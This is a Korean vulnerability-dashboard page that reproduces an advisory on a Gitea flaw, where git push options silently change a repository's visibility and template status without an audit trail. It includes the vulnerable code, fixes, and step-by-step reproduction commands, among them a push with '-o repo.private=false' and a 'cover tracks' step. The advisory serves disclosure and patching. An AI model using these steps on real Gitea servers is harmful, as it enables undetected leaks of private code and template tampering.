Kestrel
대시보드로 돌아가기
CVE-2026-58437HIGH· 7.1GHSA대응게시일: 2026. 07. 21.수정일: 2026. 07. 21.

Gitea: Repository Visibility Manipulation via Git Push Options

위협 신호 · CVSS · EPSS · KEV

정기 패치· 높은 악용 신호 없음
CVSS
7.1high

이론적 심각도 점수

EPSS

예측 데이터 없음

KEV
미등재

실측 악용 기록 없음

권장 대응 기한60일 이내CISA SSVC 기준

계획된 패치 주기 내 조치(60일 이내)

외부 노출· KEV 미등재 · 자동화 어려움 · 부분 영향 · 외부 노출

CVSS 벡터 · 메트릭

악용 경로
공격 벡터네트워크
공격 복잡도낮음
필요 권한낮음
사용자 상호작용불필요
범위불변
영향
기밀성 영향낮음
무결성 영향높음
가용성 영향없음
버전별 점수
CVSS 3.17.1HIGH
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N

상세 설명

Repository Visibility Manipulation via Git Push Options

FieldValue
Affected Filerouters/private/hook_post_receive.go
Affected FunctionHookPostReceive()
Affected Lines173–225
PrerequisiteAttacker must have owner-level or admin collaborator access to the target repository

Description

Gitea's post-receive git hook handler processes git push options — key-value pairs transmitted by a client during git push using the -o flag. Two undocumented push options, repo.private and repo.template, allow any user with repository owner or admin-collaborator access to toggle the visibility (private/public) and template status of a repository as a side effect of a normal git push.

This capability was originally intended solely for the "push-to-create" feature (automatically creating a repo on first push). However, the options are processed without restriction on already-existing repositories, and — critically — the visibility change bypasses every control that a proper settings change would trigger:

  • No entry written to the repository's audit/activity log
  • No webhook event fired (repository event with visibility_changed action)
  • No org-level notification to owners
  • No team permission re-calculation
  • No email alert to watchers
  • The database update uses UpdateRepositoryColsNoAutoTime, which also suppresses the updated_at timestamp change

Vulnerable Code

routers/private/hook_post_receive.go:173–225

text
1isPrivate := opts.GitPushOptions.Bool(private.GitPushOptionRepoPrivate) // "repo.private"
2isTemplate := opts.GitPushOptions.Bool(private.GitPushOptionRepoTemplate) // "repo.template"
3
4if isPrivate.Has() || isTemplate.Has() {
5 // ... loads repo and verifies pusher is owner or admin ...
6 if !perm.IsOwner() && !perm.IsAdmin() {
7 ctx.JSON(http.StatusNotFound, ...)
8 return
9 }
10
11 // FIXME: these options are not quite right, for example: changing visibility
12 // should do more works than just setting the is_private flag
13 // These options should only be used for "push-to-create"
14 if isPrivate.Has() && repo.IsPrivate != isPrivate.Value() {
15 // TODO: it needs to do more work
16 repo.IsPrivate = isPrivate.Value()
17 repo_model.UpdateRepositoryColsNoAutoTime(ctx, repo, "is_private")
18 // ^^^ bypasses updated_at timestamp, audit trail suppressed
19 }
20 if isTemplate.Has() && repo.IsTemplate != isTemplate.Value() {
21 repo.IsTemplate = isTemplate.Value()
22 repo_model.UpdateRepositoryColsNoAutoTime(ctx, repo, "is_template")
23 }
24}

The push option constants are defined in modules/private/pushoptions.go:18–19:

text
1GitPushOptionRepoPrivate = "repo.private"
2GitPushOptionRepoTemplate = "repo.template"

Attack Scenario

Scenario A — Insider threat / rogue admin collaborator

An organization grants a contractor repo admin access to contribute to a private repository containing proprietary source code. The contractor, before their access is revoked, makes a private repo public for several minutes — long enough to clone, archive, or index the content — then makes it private again. The action leaves no audit trail distinguishable from a normal git push.

Scenario B — Supply-chain template poisoning

A repository marked as a template is used by CI/CD pipelines to generate new project repositories. An admin collaborator uses repo.template=false to silently remove the template designation, then makes changes to the repo's content, re-marks it as a template with repo.template=true, and waits for downstream consumers to regenerate projects from the now-backdoored template. The updated_at timestamp is unchanged due to UpdateRepositoryColsNoAutoTime, making diff-detection harder.


Step-by-Step Reproduction

Prerequisites:

  • A Gitea user account with either owner or admin-collaborator access to a private repository
  • git client with push access to the repository

Step 1 — Confirm the target repository is private


Step 2 — Clone the repository

text
1git clone http://USER:PASSWORD@<gitea-host>/OWNER/REPO.git /tmp/target-repo
2cd /tmp/target-repo

Step 3 — Make any commit (the push option rides on a real push)

text
1echo "$(date)" >> .gitkeep
2git add .gitkeep
3git commit -m "routine update"

Step 4 — Execute the exploit push

bash
1# Make the repository public
2git push http://USER:PASSWORD@<gitea-host>/OWNER/REPO.git main \
3 -o repo.private=false
4
5# The push completes with a normal success message:
6# remote: Processed 1 references in total
7# To http://<gitea-host>/OWNER/REPO.git
8# abc1234..def5678 main -> main

Step 5 — Verify the repository is now public


Step 6 — Restore and cover tracks

Re-make it private in the same session, leaving no visible audit trail

The repository activity feed shows only two normal push events. The visibility change is invisible.

Verification: confirm no activity log entry


Impact Details
ImpactDescription
Data exfiltrationPrivate source code, CI/CD secrets in plain-text files, environment configs become publicly cloneable for the window the repo is public
No audit trailUpdateRepositoryColsNoAutoTime suppresses the updated_at change; no activity log entry; no webhook; no notification
Supply chainCombined with repo.template=true/false, an attacker can silently rotate repository template status, affecting all downstream repositories that generate from this template
ScopeAffects all repos where the attacker has admin-collaborator access — not only repos they own

Recommended Fix

Option 1 (preferred) — Remove the options from post-receive hook entirely. The repo.private and repo.template push options were designed for the push-to-create flow and have no legitimate use on existing repositories. They should be gated with:

text
1// routers/private/hook_post_receive.go
2if isPrivate.Has() || isTemplate.Has() {
3 if !wasEmpty {
4 // repo already existed — refuse these options on established repos
5 log.Warn("Repo push options repo.private/repo.template ignored for existing repo %s", repoName)
6 // do not process
7 } else {
8 // original push-to-create path only
9 ...
10 }
11}

Option 2 — Route through the full visibility-change service so that audit events, webhooks, and team re-syncs are triggered:

text
1// Instead of the raw UpdateRepositoryColsNoAutoTime call:
2if err := repo_service.UpdateRepositoryVisibility(ctx, repo, isPrivate.Value()); err != nil {
3 ...
4}

Where UpdateRepositoryVisibility fires the repository webhook event and writes an activity log entry.

AI 심층 분석

공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.